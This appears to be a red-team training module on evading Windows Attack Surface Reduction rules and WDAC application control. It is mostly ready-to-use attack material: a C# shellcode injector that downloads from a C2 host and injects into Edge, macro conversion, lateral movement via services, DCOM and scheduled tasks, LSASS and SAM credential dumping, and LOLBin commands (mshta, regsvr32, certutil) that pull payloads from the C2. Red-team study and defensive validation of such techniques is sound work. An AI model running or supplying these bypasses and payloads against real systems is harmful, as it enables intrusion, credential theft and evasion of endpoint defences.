asr-wdac-bypass
06 — ASR / WDAC Bypass
BLUF: Attack Surface Reduction (ASR) rules and Windows Defender Application Control (WDAC) are two of the most impactful security controls encountered in mature Windows environments. ASR blocks specific high-risk behaviors (macro execution, LSASS access, lateral movement via WMI/PsExec). WDAC enforces application allow-listing at the kernel level. This module covers enumeration, bypass techniques, and evasion methods for both.
Authorized use only. All techniques for professional red team engagements with written scope.
Related: 6.4 CS Process Evasion · 6.2 Syscall Evasion · 7.13 CS Infra
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Part 1 — Attack Surface Reduction (ASR)
1.1 What ASR Is
ASR is a set of security policies enforced by Windows Defender's WdFilter.sys kernel driver. It is only active when Windows Defender is the primary AV — third-party AV solutions disable it.
Three threat categories it targets:
| Category | What it blocks |
|---|---|
| Office macros | VBA P/Invoke, child process spawning from Office apps, executable content in emails |
| Credential protection | LSASS memory access (OpenProcess on lsass.exe) |
| Lateral movement | PsExec & WMI spawning processes, untrusted executables via SMB |
1.2 Enumerate Active ASR Rules
# List enabled ASR rule GUIDs
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
# List ASR rule actions (0=off, 1=block, 2=audit, 6=warn)
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions
# Combine both into a readable table
$ids = (Get-MpPreference).AttackSurfaceReductionRules_Ids
$actions = (Get-MpPreference).AttackSurfaceReductionRules_Actions
for ($i=0; $i -lt $ids.Count; $i++) {
[PSCustomObject]@{ Rule = $ids[$i]; Action = $actions[$i] }
}
Key ASR Rule GUIDs:
| GUID | Rule Name |
|---|---|
75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 | Block Office apps from injecting into other processes |
3B576869-A4EC-4529-8536-B80A7769E899 | Block Office apps from creating executable content |
D4F940AB-401B-4EFC-AADC-AD5F3C50688A | Block Office apps from creating child processes |
9E6C4E1F-7D60-472F-BA1A-A39EF669E4B0 | Block credential stealing from LSASS |
D1E49AAC-8F56-4280-B9BA-993A6D77406C | Block process creations from PSExec and WMI |
B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 | Block untrusted/unsigned processes from USB |
26190899-1602-49E8-8B27-EB1D0A1CE869 | Block Office communication apps from creating child processes |
1.3 Check for ASR Exclusions (Potential Bypass Paths)
ASR exclusions are paths/processes where rules don't apply. These are bypass opportunities.
# List ASR exclusions
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionOnlyExclusions
# Example output: C:\Temp\, C:\ProgramData\vendor\, C:\Program Files (x86)\Microsoft\Edge\
# → Anything placed in C:\Temp\ is excluded from ASR rules
1.4 Bypass: Place Payload in an Excluded Path
If C:\Temp\ or C:\Users\Public\ is in the exclusion list:
# Copy payload to excluded path
Copy-Item .\beacon.exe C:\Temp\svchelper.exe
Start-Process C:\Temp\svchelper.exe
No ASR rules fire on processes launched from excluded directories.
1.5 Bypass: GadgetToJScript for Macro-Based Execution
When ASR blocks VBA P/Invoke, GadgetToJScript serializes a .NET DLL into VBA/VBS/JS. The deserialization mechanism bypasses direct API call detection.
Step 1: Build a shellcode injector (.NET DLL)
// TestAssembly.cs — compiles to TestAssembly.dll
using System;
using System.Net;
using System.Runtime.InteropServices;
public class Injector {
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
[DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr h, IntPtr a, uint s, uint p, out uint o);
[DllImport("kernel32.dll")] static extern IntPtr QueueUserAPC(IntPtr fn, IntPtr thr, IntPtr arg);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr t);
[DllImport("kernel32.dll", CharSet=CharSet.Unicode)]
static extern bool CreateProcessW(string app, string cmd, IntPtr pa, IntPtr ta,
bool inherit, uint flags, IntPtr env, string dir,
ref STARTUPINFO si, out PROCESS_INFORMATION pi);
[StructLayout(LayoutKind.Sequential)] struct STARTUPINFO { public int cb; /* ... */ }
[StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION {
public IntPtr hProcess, hThread; public int pid, tid;
}
const uint CREATE_SUSPENDED = 4, MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000,
PAGE_READWRITE = 4, PAGE_EXECUTE_READ = 0x20;
public static void Run() {
byte[] sc;
using (var wc = new WebClient()) {
wc.Proxy = WebRequest.GetSystemWebProxy();
wc.UseDefaultCredentials = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
sc = wc.DownloadData("https://c2.yourdomain.com/shellcode.bin");
}
var si = new STARTUPINFO { cb = Marshal.SizeOf<STARTUPINFO>() };
PROCESS_INFORMATION pi;
// Spawn Edge in SUSPENDED state (Edge is ASR-excluded on most builds)
CreateProcessW(
@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
@"""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" --no-startup-window",
IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED,
IntPtr.Zero, @"C:\Program Files (x86)\Microsoft\Edge\Application", ref si, out pi);
var addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
VirtualProtectEx(pi.hProcess, addr, (uint)sc.Length, PAGE_EXECUTE_READ, out _);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero); // Early Bird APC injection
ResumeThread(pi.hThread);
}
}
Step 2: Convert to VBA with GadgetToJScript
# GadgetToJScript converts .NET DLL to VBA/VBS/JS macro
.\GadgetToJScript.exe -w vba -b -e hex -o C:\Payloads\inject \
-a .\TestAssembly\bin\Release\TestAssembly.dll
# Output: inject.vba
Step 3: Insert into Office macro — beacon runs inside msedge.exe (ASR-excluded process).
1.6 Bypass: PSExec/WMI ASR Rule (D1E49AAC)
ASR rule D1E49AAC blocks process spawning via PSExec and WMI. Bypass options:
# Option 1: SCM (Service Control Manager) — not blocked by this rule
# Create a service remotely via sc.exe (not PSExec)
sc.exe \\TARGET create SvcAbuse binPath= "C:\Temp\beacon.exe" start= auto
sc.exe \\TARGET start SvcAbuse
# Option 2: DCOM lateral movement (not blocked by ASR)
$dcom = [System.Activator]::CreateInstance(
[Type]::GetTypeFromProgID("MMC20.Application", "TARGET"))
$dcom.Document.ActiveView.ExecuteShellCommand("C:\Temp\beacon.exe", $null, $null, "7")
# Option 3: Scheduled Task (schtasks — not blocked by ASR)
schtasks /create /tn SvcUpdate /tr "C:\Temp\beacon.exe" /sc once /st 00:00 /s TARGET /ru SYSTEM
schtasks /run /tn SvcUpdate /s TARGET
1.7 Bypass: LSASS ASR Rule (9E6C4E1F) — Credential Dumping
ASR rule 9E6C4E1F blocks direct OpenProcess on LSASS.
# Option 1: Volume Shadow Copy dump (no OpenProcess on LSASS)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# Option 2: comsvcs.dll MiniDump (signed Microsoft binary, not blocked)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# Note: process running this needs SeDebugPrivilege
# Option 3: Cobalt Strike + custom handle — use a BYOVD driver to open LSASS
# with a kernel handle that bypasses userland ASR hooks
# See: 7.10_Sliver_C2_Windows section 11.4 (PPLdump / RTCore64.sys)
Part 2 — Windows Defender Application Control (WDAC)
2.1 WDAC vs AppLocker
| Feature | WDAC | AppLocker |
|---|---|---|
| Security boundary | Yes (bypasses → CVE) | No (bypasses common/accepted) |
| Enforcement layer | Kernel + User mode | User mode only |
| Policy format | XML → .p7b | Group Policy rules |
| Bypassed by admin? | Only via kernel | Often yes |
2.2 Enumerate the Policy
# Check if WDAC is enforced
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_UpdateAndCompareCIPolicy
# Get policy file
ls C:\Windows\System32\CodeIntegrity\
# Remote: retrieve policy from SYSVOL
Copy-Item "\\$env:USERDOMAIN\SYSVOL\$env:USERDOMAIN\Policies\{GPO-ID}\Machine\CIPolicy.p7b" C:\Temp\
# Convert binary policy back to readable XML (Matt Graeber's CIPolicyParser)
Import-Module C:\Tools\CIPolicyParser.ps1
ConvertTo-CIPolicy -BinaryFilePath C:\Temp\CIPolicy.p7b -XmlFilePath C:\Temp\CIPolicy.xml
# Read the XML
[xml]$pol = Get-Content C:\Temp\CIPolicy.xml
$pol.SiPolicy.FileRules.Allow | Select-Object FriendlyName, FilePath, Hash
2.3 Bypass: Exploit File Path Rules
If the policy allows execution from a wildcard path like C:\Tools\* or C:\Temp\*:
# Drop payload into the allowed path
Copy-Item .\beacon.exe C:\Tools\svchelper.exe
Start-Process C:\Tools\svchelper.exe
Look for paths like C:\Users\*, C:\ProgramData\*, %TEMP%\* — these are common misconfiguration patterns.
2.4 Bypass: LOLBins (Living Off the Land Binaries)
Microsoft-signed binaries are allowed by most WDAC policies. Use them to execute unsigned code.
# mshta — executes VBScript/JScript from HTA files
mshta.exe https://c2.yourdomain.com/payload.hta
# wmic — executes commands via WMI provider
wmic process call create "C:\Temp\beacon.exe"
# InstallUtil (.NET — bypasses application allow-listing)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U beacon.exe
# regsvr32 — runs DLLs (COM scriptlet execution)
regsvr32 /s /n /u /i:https://c2.yourdomain.com/payload.sct scrobj.dll
# rundll32 — load and call DLL exports
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "
# certutil — download and decode payloads
certutil -urlcache -split -f https://c2.yourdomain.com/beacon.b64 beacon.b64
certutil -decode beacon.b64 beacon.exe
# LOLBAS Project — comprehensive list
# https://lolbas-project.github.io/
2.5 Bypass: Trusted Signer / DLL Sideloading
WDAC policies that allow execution of signed binaries from trusted publishers can be abused via DLL sideloading — drop a malicious DLL next to a signed, vulnerable executable.
# Find signed executables that load DLLs from their directory
# Tool: Process Monitor — filter for PATH NOT FOUND DLL loads in signed procs
# Example: known sideload target
# vulnerable_signed.exe loads version.dll from its directory
Copy-Item .\malicious.dll "C:\Path\To\SignedApp\version.dll"
Start-Process "C:\Path\To\SignedApp\vulnerable_signed.exe"
# Beacon runs inside a trusted signed process — WDAC sees valid signer
2.6 Bypass: FileName-Based Rules
WDAC policies using FileName (original file name from PE version info) as the rule key are bypassable by setting your payload's OriginalFilename PE field to a whitelisted name.
# Check allowed filenames in policy XML
$pol.SiPolicy.FileRules.Allow | Where-Object {$_.FriendlyName -like "*"}
# Look for: FileDescription, InternalName, OriginalFilename attributes
# Set OriginalFilename in your payload at compile time (C/C++/Rust):
# In .rc resource file:
# VALUE "OriginalFilename", "mspaint.exe\0"
# Or patch the PE Version Info post-compile with tools like rcedit:
rcedit beacon.exe --set-version-string OriginalFilename "mspaint.exe"
2.7 Bypass: Wildcard Path in WDAC Policy
<!-- Weak policy — allows everything under C:\Tools -->
<FileRule ID="ID_ALLOW_TOOLS" FriendlyName="Allow Tools" FilePath="C:\Tools\*"/>
# Abuse: anything placed in C:\Tools\ runs regardless of signing
Copy-Item .\beacon.exe C:\Tools\telemetry-agent.exe
Start-Process C:\Tools\telemetry-agent.exe
Defender hardening advice (for reporting):
- Replace wildcard paths with explicit hash-based rules
- Remove user-writable paths (
C:\Temp\,C:\Users\*) from allow-lists - Use Publisher + Hash rules, not path rules
3 — ASR + WDAC Evasion Decision Tree
Target environment assessment
│
├── Is Windows Defender the primary AV?
│ ├── YES → ASR rules may be active → enumerate (Get-MpPreference)
│ └── NO → ASR disabled, skip to WDAC check
│
├── ASR active?
│ ├── Office macros blocked → GadgetToJScript or HTML smuggling
│ ├── LSASS blocked → VSS dump / comsvcs.dll / kernel handle (BYOVD)
│ ├── PSExec/WMI blocked → SCM service / DCOM / schtasks
│ └── Exclusion paths found → drop payload in excluded path
│
└── WDAC enforced?
├── Extract + parse CIPolicy.xml
├── Path rules? → Place payload in allowed path
├── FileName rules? → Patch PE OriginalFilename
├── Trusted signer? → DLL sideloading in signed binary dir
└── No bypass found → LOLBin execution (mshta, regsvr32, InstallUtil)
4 — Key Tools
| Tool | Purpose |
|---|---|
Get-MpPreference | Enumerate active ASR rules and exclusions |
CIPolicyParser.ps1 | Convert .p7b WDAC policy → readable XML |
GadgetToJScript | Serialize .NET DLL to VBA/VBS/JS for macro bypass |
rcedit | Patch PE OriginalFilename field |
| LOLBAS Project | Living-off-the-land bypass binaries, scripts, libs |
| lolDrivers | Vulnerable signed drivers for BYOVD (DSE/PPL bypass) |
comsvcs.dll MiniDump | LSASS dump via signed MS binary (ASR bypass) |
Back to 6. EDR · Master Index